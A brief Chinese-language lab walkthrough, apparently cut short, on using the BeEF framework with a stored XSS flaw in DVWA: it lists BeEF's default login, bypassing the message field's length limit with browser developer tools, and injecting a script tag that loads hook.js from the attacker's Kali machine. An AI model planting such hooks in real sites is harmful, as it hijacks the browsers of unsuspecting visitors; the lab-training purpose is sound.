OWASP-XSS跨站腳本攻擊之Beef

打開靶機，進入dvwa,選擇xss stored(存儲型) 進入kali,打開beef kali會自動打開web ui,登錄beef  beef/beef 查看kali ip dvwa中用script 引用kali中的hook.js文件,message框中有長度限制，F12更改長度限制 更改長度爲200，填入完整script信息 <script src="http://192.168.228.12

>>阅读原文<<